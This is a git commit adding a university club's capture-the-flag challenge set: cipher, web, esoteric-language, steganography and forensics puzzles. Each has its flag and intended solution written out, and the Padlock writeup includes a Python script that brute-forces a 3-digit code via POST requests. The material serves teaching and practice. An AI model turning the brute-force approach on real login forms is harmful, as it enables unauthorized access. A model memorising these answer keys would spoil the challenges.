initial commit

This commit is contained in:
Robbe De Greef 2022-11-24 22:43:03 +01:00
commit be3cd0d84b
98 changed files with 23499 additions and 0 deletions

0
DecryptThis/.gitkeep Normal file
View File

5
DecryptThis/Dockerfile Normal file
View File

@ -0,0 +1,5 @@
FROM php:7.2-apache
COPY decrypt.php /var/www/html
RUN chown www-data:www-data /var/www/html/decrypt.php
EXPOSE 80

26
DecryptThis/README.md Normal file
View File

@ -0,0 +1,26 @@
# CHALLENGE DecryptThis
A moderate encryption-challange.
## Description
I made an awesome encryption tool to send secret messages to my mother, but forgot to make a decryption tool...
Anyway, now I'm stuck with these messages without knowing what they mean.
* `>tmGUYjG<V1Y=S6P>QZtc|;6y?tFE<V)HxFH8t@Gd6>')IB5ucG7H,JT`
* `Bx1inr2m[u"J_u:TBU3MQb(QZX7S8@iz7/Q$hXW3d{eC:-5AgN8\H:d9LS`
* `rJ6nrv4oLfDlMcMgFYHbizEn/M8ImT9eZ4EIH5j]2m9Af^KL6WHG@]~99SNt`
## Flag
`IG{DeWielenVanDeBusGaanRondEnRond_RondEnRond}`
## Given files
`decrypt.php`
Should be uploaded to a server first.
## How the challenge works
The encryption is a variant of Vignere, where the codeword is 7-14 characters and is hidden in the message. EG. if the coded message is _xxxxxxxxxx_ and the codeword _ABC_, the code will be _xAxBxCxxxxxxCx_. The second last character represents the lenth of the codeword (here C = 3).
The best way to solve would be to try a few strings containing only one character like _AAAAAAAAAAAA_ to figure out how the encryption works.
As the encrypted flags (this ia 3 times the same flag) are quiet long, quickly programming an encryption tool will save a lot of time.

129
DecryptThis/decrypt.php Normal file
View File

@ -0,0 +1,129 @@
<?php
function generateCodeword($l) {
$codeword = "";
for ($i = 0; $i < $l; $i++){
$rand = rand(65, 116);
if ($rand > 90) {
$rand += 6;
}
$codeword .= chr($rand);
}
return $codeword;
}
function getLetterValue($char) {
return ord($char) - 33;
}
function getNumberValue($nr) {
return chr((($nr + 94) % 94) + 33);
}
function encodeChar($char, $offset) {
return getNumberValue(getLetterValue($char) + getLetterValue($offset));
}
function decodeChar($char, $offset) {
return getNumberValue(getLetterValue($char) - getLetterValue($offset));
}
function encode($codeword, $message) {
$encrypted = "";
for ($i = 0; $i < strlen($message); $i++) {
$encrypted .= encodeChar(substr($message, $i, 1), substr($codeword, $i % strlen($codeword), 1));
}
return $encrypted;
}
function hideCodeword($codeword, $message) {
$len = strlen($codeword);
$hidden = "";
for ($i = 0; $i < $len; $i++) {
$hidden .= substr($message, $i, 1);
$hidden .= substr($codeword, $i, 1);
}
$hidden .= substr($message, $len, strlen($message) - $len - 1);
$hidden .= chr(64 + $len);
$hidden .= substr($message, -1);
return $hidden;
}
function encrypt($message) {
$cw = generateCodeword(rand(7, 14));
return hideCodeword($cw, encode($cw, $message));
}
function decrypt($code) {
$len = ord(substr($code, -2, 1)) - 64;
$code = substr($code, 0, -2) . substr($code, -1);
$codedMessage = "";
$codeword = "";
for ($i = 0; $i < (2 * $len); $i += 2) {
$codedMessage .= substr($code, $i, 1);
$codeword .= substr($code, $i + 1, 1);
}
$codedMessage .= substr($code, 2 * $len);
$decrypted = "";
for ($i = 0; $i < strlen($codedMessage); $i++) {
$decrypted .= decodeChar(substr($codedMessage, $i, 1), substr($codeword, $i % strlen($codeword), 1));
}
return $decrypted;
}
?>
<?php
if(isset($_POST['encode'])) {
$encode = $_POST['encode'];
if (strlen($encode) < 16) {
$decode = "An input string must at least be 16 characters...";
} else {
$decode = encrypt($encode);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Encryption/Decryption tool</title>
<meta author="Benjamin Ver"/>
<!-- Kudos to 16yo Benjamin for this site and the idea for the encryption. -->
<style type="text/css">
.FFCG { font-family: "Century Gothic"; }
#decode { <?php if (strlen($encode) < 16) { echo 'color: red;'; } ?> }
</style>
</head>
<body>
<table align="center">
<th colspan="2" class="FFCG">Encryption/Decryption tool</th>
<tr>
<td class="FFCG">Coderen:</td>
<td class="FFCG">Decoderen:</td>
</tr>
<tr>
<form action="decrypt.php" method="POST">
<td><textarea name="encode" style="width: 500px; height: 150px" class="FFCG"><?php echo $encode; ?></textarea></td>
<td><textarea id="decode" name="decode" style="width: 500px; height: 150px" class="FFCG" readonly><?php echo $decode; ?></textarea></td>
</tr>
<tr>
<td colspan="2">
<input type="submit" value="encode" class="FFCG"></td>
</tr>
</form>
</table>
</body>
</html>

9
DecryptThis/docker.sh Executable file
View File

@ -0,0 +1,9 @@
#!/bin/bash
docker build -t decrypthis .
docker run -d \
-p 8020:80 \
--name decrypthis \
--restart=unless-stopped \
decrypthis

42
DecryptThis/writeup.md Normal file
View File

@ -0,0 +1,42 @@
# CHALLENGE DecryptThis
## Writeup
To decrypt, we first have to understand how the encryption works. The best way to do this would be to try a long string containing one charachter.
If the input string was long enough, the encrypted version will show a clear pattern. This is a sign that a Vignere-Cipher is probably used. More information about vignere can be found [here](https://www.dcode.fr/vigenere-cipher).
A second thing we can see is the beginning of the string, here the pattern is broken by _random_ characters, this is the cipher key for Vignere. The last odd thing is the second last character, this is the length of the codeword.
An example:
`FFFFFFFFFFFFFFFFFFFF` might be coded to `GAHBICGHIGHIGHIGHIGHIGCH`, where `GHI` is the pattern, `ABC` is the key and `C` (=3) is the key length.
As the key-word is generated randomly, a string kan be encrypted to multiple strings. The 3 strings in the given file where 3 different encrypted versions of the flag.
## Decryption Tool
A (simple) tool could be written to decrypt a string; here is an example of a decryption tool in PHP:
```php
function getNumberValue($nr) {
return chr((($nr + 94) % 94) + 33);
}
function decodeChar($char, $offset) {
return getNumberValue(getLetterValue($char) - getLetterValue($offset));
}
function decrypt($code) {
$len = ord(substr($code, -2, 1)) - 64;
$code = substr($code, 0, -2) . substr($code, -1);
$codedMessage = "";
$codeword = "";
for ($i = 0; $i < (2 * $len); $i += 2) {
$codedMessage .= substr($code, $i, 1);
$codeword .= substr($code, $i + 1, 1);
}
$codedMessage .= substr($code, 2 * $len);
$decrypted = "";
for ($i = 0; $i < strlen($codedMessage); $i++) {
$decrypted .= decodeChar(substr($codedMessage, $i, 1), substr($codeword, $i % strlen($codeword), 1));
}
return $decrypted;
}
```

40
Find-the-ducky/README.md Normal file
View File

@ -0,0 +1,40 @@
Fun little online/offline challenge.
People will need to find the duck that'll be hidden in the room. The duck will have a password to unlock the flag
FLAG: IG{Thank5_f0r_s4ving_my_ch1ld!!}

Binary file not shown.

25
Maze_Runner/Maze.bf Normal file
View File

@ -0,0 +1,25 @@
>>>>>>>>>> $89*87++,v v1 ,+7:<
v "hello" v >99*92*+2+:,^
v ^<<<< > >:2-, >23*5+67*+v
>>>>>v >>1!>12^ v **34+-12*23<
>>^ v,+*93<< -
^, -7++91::*2<<
^
>*!- >>># 5-+, v ^::,++91:<
v ,/2+4<< >:2/91+2*-1-, ^
^ <> ^ *^ < < :,-1:<
: 6: ^,:+ <9 v <-
> ,v +5 $2 5 +5
/ - \* + ,
3 > 91 + v - , +
: - v +< 1v < 36
^<>: 62 *- v ^:,,/3< -7 /
-^,: +2< ^ ,+6< :+ 2
5 * > :,+: v ,> ,@ +
^, ++1*62 < 8 1
> 1$:72 *+\3-: ,\:,\3+^ >+:, ^,
- 6 >-:, 2-,: 2/+9+::^
+ 4
^2* <
^ <

View File

@ -0,0 +1,3 @@
#Estorical lang.
Help! I am trying to find my dear beloved pets, but I have lost them. They ran into the maze. In order to find them, I will have to find the end of the maze, however, one row of the maze is broken! Can you help me find my beloved pets? I will grant you the flag in return.

View File

@ -0,0 +1,25 @@
>>>>>>>>>> $89*87++,v v1 ,+7:<
v "hello" v >99*92*+2+:,^
v ^<<<< > >:2-, >23*5+67*+v
>>>>>v >>1!>12^ v **34+-12*23<
>>^ v,+*93<< -
^, -7++91::*2<<
^
>*!- >>># 5-+, v ^::,++91:<
v ,/2+4<< >:2/91+2*-1-, ^
v v< < *v < v :,-1:<
: 6: ^,:+ <9 v <-
> ,v +5 $2 5 +5
/ - \* + ,
3 > 91 + v - , +
: - v +< 1v < 36
^<>: 62 *- v ^:,,/3< -7 /
-^,: +2< ^ ,+6< :+ 2
5 * > :,+: v ,> ,@ +
^, ++1*62 < 8 1
> 1$:72 *+\3-: ,\:,\3+^ >+:, ^,
- 6 >-:, 2-,: 2/+9+::^
+ 4
^2* <
^ <

Binary file not shown.

31
Musical-Notes/README.md Normal file
View File

@ -0,0 +1,31 @@
# CHALLENGE Musical Notes
Encryption
## Description
I've found this old music sheet in the attic, but I cannot read it. An old letter said that a secret message can be found by following the music. Can you help me?
Hint: this challenge does not use the regular flag format.
## Flag
wel4vemus1c
## Given files
Infogroep_Clublied.pdf
## How the challenge works:
The music sheet contains Morse code. 1/4th of a note is the long stroke and 1/8th of a note is the small stroke of morse code. Between every letter there are either short or long rests. If a measure contains a full rest of 4 notes long, it means that it has reached the end of a sentence.
The following sentences can be translated from the music sheet:
Wij zijn de computerzonen
Wij zijn van de infogroep
Macintosh of PCklonen
Zijn voor ons het beste snoep
Ei het lied der Vlaamse hackers
En der Vlaamse pintepakkers
En met oude bit en byte
Gamen wij all day all night
The flag is we l4ve mus1c
--> There is no format for this challenge. The answer is "wel4vemus1c".

0
Padlock/.gitkeep Normal file
View File

0
Padlock/CSS/.gitkeep Normal file
View File

80
Padlock/CSS/main.css Normal file
View File

@ -0,0 +1,80 @@
/* Nothing to see here... */
* {
padding: 0;
margin: 0;
}
html, body, .full {
min-height: 100% !important;
height: 100%;
font-family: roboto;
}
html{
height: 100%;
}
body{
min-height: 100%;
}
table {
margin: auto;
width: 75%;
}
.full {
text-align: center;
margin: auto;
display: grid;
grid-template-columns: 1fr;
}
td {
padding: 10px;
text-align: center;
}
tr td img {
margin-top: 50px;
width: 10%;
}
tr td img:hover {
cursor: pointer;
}
.triangle {
margin: auto;
width: 0;
height: 0;
border-left: 50px solid transparent;
border-right: 50px solid transparent;
}
.up { border-bottom: 100px solid #555; }
.down { border-top: 100px solid #555; }
.digit {
text-align: center;
font-size: 10vw;
/*border: 1px solid black;*/
}
#solution, #nosolution {
margin: auto;
position: relative;
text-align: center;
font-size: 5vw;
font-weight: bold;
}
#nosolution img {
margin-top: 5vw;
width: 20%;
}
footer {
font-size: 1em;
margin-top: -1.5em;
}

5
Padlock/Dockerfile Normal file
View File

@ -0,0 +1,5 @@
FROM php:7.2-apache
COPY . /var/www/html
RUN rm /var/www/html/README.md
EXPOSE 80

15
Padlock/README.md Normal file
View File

@ -0,0 +1,15 @@
# CHALLENGE padlock
Simple web-hacking challenge
## Description
Crack the code and find the flag.
## Flag
`IG{w31C0mE_7O_tH3_m47R1x}`
## How the challenge works
It takes a simple 3-digit code (solution: 329) to be able to view success.php. Code's are submitted via POST-request with variable name `try`, a simple brute-force script will do the trick. However: the site has a few easter-eggs; some will also redirect you to another page (without a flag).

0
Padlock/assets/.gitkeep Normal file
View File

55
Padlock/assets/flag.txt Normal file
View File

@ -0,0 +1,55 @@
____
(_ _)
| |______......------......______......------......______......------......______......------......______......------......
| |\ ,,,,,,,,. |
| | \ *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*,,*(#(**,,*%%%%%%%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%,,*#%%%%%%%/,*#%%%%%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%(,*#%%%%%%%%%,,(%%%%%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%(,,**/#%%%%%%#,*#%%%%%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#**,,,,,*(#(,*#%%%%%%%%%%%( |
| | | *%%#**#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#/*,,,,,*/#%%%%%%%%%( |
| | | *%%/,,(%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%###%%%%%%%%#/*,,,,,*/%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*,,,,,,*%%%#%%%%%%%%#/*%%%%%%( |
| | | *(,,/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#*,/%%%**#%%%*,(%%%%%%%%%%%%%%%( |
| | | *,,,#%%%%,*(%%%%%%%%%%%%%%%%/,,,,/%*,/%%%**#%%%%*,(%%%%%%%%%%%%%%%( |
| | | .,,(%%%%/,,**,,,*%%%%%%%%%/,,,**,*%/,*%%%,(%%%%/,*#%%%%%%%%%%%%%%%( |
| | | .,,/%%%%/,,/#%%%(,,*%%%%%%*,,*%%%%%%%/,,**/%%%(*,,#%%%%%%%%%%%%%%%%( |
| | | ,,*%%%%#,,*%%%%%%/,,#%%(,,,,,#%%%%%%%%#*,,,,,,,,*#%%%%%%%%%%%%%%%%%( |
| | | ,,,%%%%#,,,%%%%%%#,,*%%%%%*,,,,/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%( |
| | | .,,*%%%%*,,/%%%%%%*,,#%%%%/,,(%%%%%%%(****(#%%%%%%%%%%%%%%%%%%%%%%%%%( |
| | | *%%%#,,*%%%%%%/,,(%%%%(,,/%%%%%(,,,,**,,,,*%%%%%%%%%%%%%%%%%%%%%%%( |
| | | *%%%%#/#%%%%%(,,,%%%%#,,,%%%%%/,,(%%%%%%(,,*%%%%%%%%%%%%%%%%%%%%%%( |
| | | *%%%%%%%%%%%%*,,#%%%%,,,(%%%%(,,/%%%%%%%%/,,/%%%%%%%%%%%%%%%%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%#,,*%%%%%/,,(%%%%%%%%(,,/%%%%%%%%%%%%%%%%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%#,,,%%%%%%%#,,*%%%%%%%%%%%%%%%%%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%%%%#,,,,/((/,,,*%%%%%%%%%%%%%%%%%%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%%/,#%%%/,,,,,*/%%%%%%%%%%%%%%%%%%%%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%%%%(,*,/%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%%%%#**#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%%%%%#*(%%%%%%%%%%%%%%%%%%%%**********#%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%%%*,,,,*(#%%%%%%%%%%%%%%%%% #%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%%%%#(/*,,,,**(#%%%%%%%%%%%% #%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%%(*/%%%%%%%#/*,,/%%%%%%%%%%% #%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%#*,(%%%%%%%%%%%%%%%%%%%%%%%% #%%%%%%( |
| | | *%%%%%%%%%%%%%%%%%%%%*,,,,,,,#%%%%%%%%%%%%%%%%%%%///////////******, |
| | | *%%%%%%%%%%%%%%%%%%%#,*(%%%(,*#%%%%(*,,*(%%%%%%%%%%%%%%%%%%. .. |
| | | *%%%%%%%%%%%%%%%%%%%/,/%%%%%**#%%(,,*(/*,(%%%%%%%%%%%%%%%%%. ,(((((((, |
| | | *%%%%%%%%%%%%%%%%%%%#,,/%%#*,*%%#,,(%%%(,/%%%%%%%%%%%%%%%%%. /((((((( |
| | | ,,,,,,.,,,,,. .,,. (((((((/ |
| | | .,.,, ,,, ,,*/(((* |
| | | .,,,,,,, |
| | / |
| |/_____......------......______......------......______......------......______......------......______......------.....|
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| | Well, I guess you found A flag...
| | (c) BenjaminVer

BIN
Padlock/assets/ganja.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

BIN
Padlock/assets/lock.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

BIN
Padlock/assets/open.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

BIN
Padlock/assets/smirk.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 171 KiB

BIN
Padlock/assets/unlock.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

46
Padlock/bamboozle.php Normal file
View File

@ -0,0 +1,46 @@
<?php
if(!isset($_COOKIE['fu'])) {
header ("location: index.php");
die();
} elseif ($_COOKIE['fu'] == "TmlDZSBUclkgbG9s") {
$img = "ganja";
} elseif ($_COOKIE['fu'] == "Tm90RXZlbkNsb3NlLi4u") {
$img = "smirk";
} else {
header ("location: index.php");
die();
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Nice try, but no...</title>
<meta name="author" content="BenjaminVer">
<link rel='shortcut icon' href='assets/lock.png'>
<link type="text/css" rel="stylesheet" href="CSS/main.css"/>
<script type='text/Javascript' src='script/jQuery.js'></script>
<script type="text/javascript">
$(document).ready(function(){
setTimeout(function(){
window.location.href = "index.php?try=0";
}, 10000);
$('.full').click(function(){
window.location.href = "index.php?try=0";
})
})
</script>
</head>
<body>
<!-- Sure, because life just is that easy... -->
<div class="full">
<div id="nosolution">
Nice try, but no...<br>
<img src='assets/<?php echo $img; ?>.png'>
<img src='assets/<?php echo $img; ?>.png'>
<img src='assets/<?php echo $img; ?>.png'>
</div>
</div>
<footer>The code just got harder now... (click anywhere)</footer>
</body>
</html>

9
Padlock/docker.sh Executable file
View File

@ -0,0 +1,9 @@
#!/bin/bash
docker build -t padlock .
docker run -d \
-p 8000:80 \
--read-only \
--tmpfs /var/run \
--restart=unless-stopped \
padlock

71
Padlock/index.php Normal file
View File

@ -0,0 +1,71 @@
<?php
$fu = False;
if (isset($_COOKIE["fu"])) {
$fu = True;
}
if (isset($_GET['try'])) {
$fa = intval($_GET['try']);
}
$fa100 = floor($fa / 100);
$fa -= 100 * $fa100;
$fa10 = floor($fa / 10);
$fa -= 10 * $fa10;
$fa1 = $fa;
?>
<!DOCTYPE html>
<html>
<head>
<title>This page is locked</title>
<meta name="author" content="BenjaminVer">
<link rel='shortcut icon' href='assets/lock.png'>
<link type='text/css' rel='stylesheet' href='CSS/main.css'/>
<?php if (isset($_GET['try'])) { echo "<style> .w {color: red;} </style>"; } ?>
<script type='text/Javascript' src='script/jQuery.js'></script>
<script type='text/Javascript' src='script/main.js'></script>
</head>
<body>
<div class='full'>
<table>
<tr>
<?php if ($fu == True) {
echo "<td><div class='triangle up' id='1000up'></div></td>"; }
?>
<td><div class='triangle up' id='100up'></div></td>
<td><div class='triangle up' id='10up'></div></td>
<td><div class='triangle up' id='1up'></div></td>
</tr>
<tr>
<?php if ($fu == True) {
echo "<td class='digit w' id='num1000'>0</td>"; }
?>
<td class='digit w' id='num100'><?php echo $fa100; ?></td>
<td class='digit w' id='num10'><?php echo $fa10; ?></td>
<td class='digit w' id='num1'><?php echo $fa1; ?></td>
</tr>
<tr>
<?php if ($fu == True) {
echo "<td><div class='triangle down' id='1000down'></div></td>"; }
?>
<td><div class='triangle down' id='100down'></div></td>
<td><div class='triangle down' id='10down'></div></td>
<td><div class='triangle down' id='1down'></div></td>
</tr>
<tr>
<td colspan='<?php if ($fu == True) { echo 4; } else { echo 3; } ?>'>
<img src='assets/unlock.jpg'>
</td>
</tr>
</table>
</div>
<form action='success.php' method='POST'>
<!--Don't even think about it...-->
<input type='hidden' name='try1' id='try1'>
<input type='hidden' name='try10' id='try10'>
<input type='hidden' name='try100' id='try100'>
</form>
<!-- Just to be GDPR compliant (kinda...) -->
<footer>This page uses cookies, live with it...</footer>
</body>
</html>

2
Padlock/robots.txt Normal file
View File

@ -0,0 +1,2 @@
User-agent: *
Disallow /assets/flag.txt

0
Padlock/script/.gitkeep Normal file
View File

10598
Padlock/script/jQuery.js Normal file

File diff suppressed because it is too large Load Diff

50
Padlock/script/main.js Normal file
View File

@ -0,0 +1,50 @@
// \______ \ ____ ___)// |_ _/ |_ ____ __ __ ____ | |__ _____ ___.__. ____ ____ __| _/____| |
// | | \ / _ \ / \ __\ \ __\/ _ \| | \_/ ___\| | \ / < | | _/ ___\/ _ \ / __ |/ __ \ |
// | ` ( <_> ) | \ | | | ( <_> ) | /\ \___| Y \ | Y Y \___ | \ \__( <_> ) /_/ \ ___/\|
// /_______ /\____/|___| /__| |__| \____/|____/ \___ >___| / |__|_| / ____| \___ >____/\____ |\___ >_
// \/ \/ \/ \/ \/\/ \/ \/ \/\/
var cn = true;
function resetColor() {
cn = false;
$('.digit').removeClass('w');
}
function setUp(numId) {
if (cn) { resetColor(); }
numId.html((parseInt(numId.html()) + 1) % 10);
}
function setDown(numId) {
if (cn) { resetColor(); }
if (numId.html() == "0") {
numId.html(9)
} else {
numId.html(parseInt(numId.html()) - 1);
}
}
function send() {
$('#try1').val(parseInt($('#num1').html()));
$('#try10').val(parseInt($('#num10').html()));
$('#try100').val(parseInt($('#num100').html()));
$('form').submit()
}
$(document).ready(function(){
$("#1000up").click(function(){ setUp($('#num1000')); })
$("#100up").click(function(){ setUp($('#num100')); })
$("#10up").click(function(){ setUp($('#num10')); })
$("#1up").click(function(){ setUp($('#num1')); })
$("#1000down").click(function(){ setDown($('#num1000')); })
$("#100down").click(function(){ setDown($('#num100')); })
$("#10down").click(function(){ setDown($('#num10')); })
$("#1down").click(function(){ setDown($('#num1')); })
$('img').click(function(){
send();
});
})

44
Padlock/success.php Normal file
View File

@ -0,0 +1,44 @@
<?php
$stay = False;
$try = intval($_POST['try1']);
$try += intval($_POST['try10']) * 10;
$try += intval($_POST['try100']) * 100;
switch ($try) {
case 329:
$stay = True;
break;
case 420:
setcookie("fu", "TmlDZSBUclkgbG9s", time()+3600);
header ("location: bamboozle.php");
die();
break;
case 690:
case 69:
setcookie("fu", "Tm90RXZlbkNsb3NlLi4u", time()+3600);
header ("location: bamboozle.php");
die();
break;
default:
break;
}
if (!$stay) {
header ("location: index.php?try=" . $try);
die();
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Page unlocked!</title>
<meta name="author" content="BenjaminVer">
<link rel="shortcut icon" href="assets/open.png">
<link type="text/css" rel="stylesheet" href="CSS/main.css"/>
</head>
<body>
<div class="full">
<div id="solution">IG{w31C0mE_7O_tH3_m47R1x}</div>
</div>
</body>
</html>

39
Padlock/writeup.md Normal file
View File

@ -0,0 +1,39 @@
# CHALLENGE padlock
## Writeup
To get the flag, a 3-digit code has to be found. As 3 digits only offers 999 combinations, brute-force would be the way to go.
In the source code of `index.php`, we can find that for each try, a POST-request is sent to `success.php`. The post request contains 3 values: `try100`, `try10` and `try1`. In the brute-force we have to enumerate each value from 0 to 9. We can check each response for the flag by looking for `"IG{`. If we got a match the respons might contain a flag.
A simple brute-force program in Python would look like this:
```python
import requests
# change URL path
url = "success.php"
def checkForSolution(text):
if text.find("IG{") == -1:
return False
else:
substr = text.find("IG{")
print(text[substr:text.find("}", substr) + 1])
return True
def bruteForce():
for h in range(10):
for t in range(10):
for u in range(10):
param = {'try100': h, 'try10': t, 'try1': u}
req = requests.post(url, data = param)
print("try:", h, t, u)
if checkForSolution(req.text):
return True
bruteForce()
```
## Easter eggs
In `robots.txt` a file `flag.txt` is disallowed, this file contains an ascii-art of a beautiful flag.
Trying combinations like '420' or '069' will redirect to a new page. Also a cookie is placed, as long as this cookie exists, the index page shows a 4-digit combination. However, this newly placed digit does not do anything.
The cookie placed contains a Base64-string.

4
README.md Normal file
View File

@ -0,0 +1,4 @@
# IGCTF writeups 2019-2020
You can find all the challenges here in these folders. Each challenge folder should contain a SOLUTION.md that contains a (possible) solution for the challenge.
Have fun!

34
RubberDuckInc/readme.md Normal file
View File

@ -0,0 +1,34 @@
**Title:** RubberDuckInc
**Description:** Welcome to Rubber Duck, Inc., the best rubber duck selling company in the World -- scratch that, Europe -- wait, Belgium... -- I meant Brussels... We sell all kinds of rubber ducks. Recently, some nasty hackers got really interested in our Point-of-Sales system. To alert us of any intrusions, we have installed a home-made cybersecurity alert system on our network. A couple of hours ago, this system had detected some kidn of malicious activity on our internal network. From what we can tell, one of our internal systems has been compromised to take part in some kind of hacker event. Luckily, just moments before we lost access to the entire network, our system sent us a complete log of all network traffic that occured immediately after the malicious activity got detected, and before we lost access to the system. Can you investigate what's going on and find the location of the flag?
**Flag:**
- `IG{Its_A-Good_Idea(To.Stretch[Your}Legs]Every0Once@In|A/While}`
**Hints:**
- First hint: `Get out of your chair(s)!`
- Second hint: `Geocaching is a thing people enjoy!`
**Files given:**
`rubberduckinc-networklog.pcapng`
**How the challenge works:**
The pcap file contains some data about the location of the flag:
- Latitude and Longitude
- WiFi SSID and Password
- Server IP and open ports
There is some noise in the data such as an open ssh connection, some pings, and the lyrics of Rick Astley's "Never Gonna Give You Up", however all important data can be found as http traffic on port 80.
There will be a WiFi network installed on-campus, on the given location, and with the given credentials. The flag can be retrieved by connecting to this network, opening a browser, and reading a flag.
A smartphone is sufficient to find the flag once on-site! No special devices are required.
**How to deploy:**
Physical deployment is handled by Robin Vanderstraeten!

Binary file not shown.

0
Shrek-is-back/.gitkeep Normal file
View File

26
Shrek-is-back/README.md Normal file
View File

@ -0,0 +1,26 @@
# CHALLENGE Shrek is back
A forensics-type CTF challenge
## Description
I want Mike Myers to put his signature on this beautiful peace of art, but I can't seem to open it...
Apperently there also is a flag in this _image_.
## Flag
`IG{GeT_ShReKeD}`
## Given files
* script.jpg
The file is corrupted, by extend gitlab doesn't want to upload it as `.jpg`.
## How the challenge works
The image is actually a docx-file. The file signature has been replaced by X's, because of this it won't open in any way (invalid hex file). The most conventional way to solve is as following:
1. remove `X`'s from the file
2. apply `strings` (now you see it is a docx-file)
3. find file signature online: `50 4B 03 04 14 00 06 00`
4. set file signature, open in Word/Writer
5. flag is in image on last page of the file

10871
Shrek-is-back/script Normal file

File diff suppressed because it is too large Load Diff

BIN
Waldo/Christmass.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 390 KiB

BIN
Waldo/Hidden.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 273 KiB

28
Waldo/README.md Normal file
View File

@ -0,0 +1,28 @@
#Stenography
This challenge uses Stenography to hide an image inside another image.
The principle behind is quite simple and the technique used here is known as LSB Stenography or "Least Significant Bit" stenography.
when working with images, each pixel holds an RGB or RGBA value. The least significant bit of each R G or B value changes the color to its immediate neighbor out of a range of 255. The image can later be constructed, however with a loss of data since we can only recover the MSB (Most significant bit)
This script has been written rapidely and only works for images that have the same since.
assume the following 2 pictures.
A christmass cards seems innocent enough that no one will expect something to be hidden there
![Christmass.png](Christmass.png "Christmass card")
and were are going to hide Waldo REALLY well this time
![WaldoFlag.png](WaldoFlag.png "WaldoFlag")
This script will create the flag picture and looks like this
![Hidden.png](Hidden.png "Christmass card with flag embedded")
When we try to recover it again, the flag will have changed slightly because we are only saving and recovering the MSB but it is still readable.
The results after decryption looks as follow
![revert.png](revert.png "Recovered flag")

BIN
Waldo/WaldoFlag.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 86 KiB

43
Waldo/bytes.py Normal file
View File

@ -0,0 +1,43 @@
def int2byte(n):
if n >= 2 ** 8:
raise Exception('a byte can only contain a number smaller then %s' % (2 ** 8))
bits = [0] * 8
for i in range(8):
j = 7 - i
c = 2 ** j
if c <= n:
n -= c
bits[i] = 1
return bits
def byte2int(byte):
result = 0
for i in range(len(byte)):
j = 7 - i
c = 2 ** i
result += c * byte[j]
return result
def test(x):
b = int2byte(x)
print(x, '\t', b, '\t', byte2int(b))
def swapMSB2LSB(origin, target, numberOfBits):
target[len(target) - numberOfBits:] = origin[0:numberOfBits]
return target
def extractLSB(byte, numberOfBits):
newByte = [0] * 8
newByte[0:numberOfBits] = byte[len(byte) - numberOfBits:]
return newByte

75
Waldo/main.py Normal file
View File

@ -0,0 +1,75 @@
from PIL import Image
import bytes
TARGETIMAGE = 'Christmass.png'
FLAGIMAGE = 'WaldoFlag.png'
Target = Image.open(TARGETIMAGE)
Flag = Image.open(FLAGIMAGE)
newImg = Target.copy()
(TargetMaxX, TargetMaxY) = newImg.size
(FlagMaxX, FlagMaxY) = Flag.size
if ((TargetMaxX != FlagMaxX) or (TargetMaxX != FlagMaxX)):
raise Exception("This does not work with images of different sizes (yet)")
def Merge(OriginRGBA, TargetRGBA, numberOfBits=1):
OriginBytes = [bytes.int2byte(x) for x in OriginRGBA]
TargetBytes = [bytes.int2byte(x) for x in TargetRGBA]
newbytes = [0] * len(TargetBytes)
for i in range(len(OriginBytes)):
newbytes[i] = bytes.swapMSB2LSB(OriginBytes[i], TargetBytes[i], numberOfBits)
# print(OriginBytes, TargetBytes, newbytes)
return tuple([bytes.byte2int(b) for b in TargetBytes])
for y in range(FlagMaxY):
for x in range(FlagMaxX):
OriginRGBA = Flag.getpixel((x, y))
TargetRGBA = Target.getpixel((x, y))
newValues = Merge(OriginRGBA, TargetRGBA)
print('%s / %s X \t-\t %s / %s Y' % (x, FlagMaxX, y, FlagMaxY))
newImg.putpixel((x, y), newValues)
# Target.close()
# Flag.close()
print("saving")
newImg.save("Hidden.png")
print("done")
def extract(TargetRGBA, numberOfBits=1):
TargetBytes = [bytes.int2byte(x) for x in TargetRGBA]
newbytes = [0] * len(TargetBytes)
for i in range(len(TargetBytes)):
newbytes[i] = bytes.extractLSB(TargetBytes[i], numberOfBits)
# print(newbytes, end="\n")
return tuple([bytes.byte2int(b) for b in newbytes])
revert = newImg.copy()
for y in range(FlagMaxY):
for x in range(FlagMaxX):
print('%s / %s X \t-\t %s / %s' % (x, FlagMaxX, y, FlagMaxY))
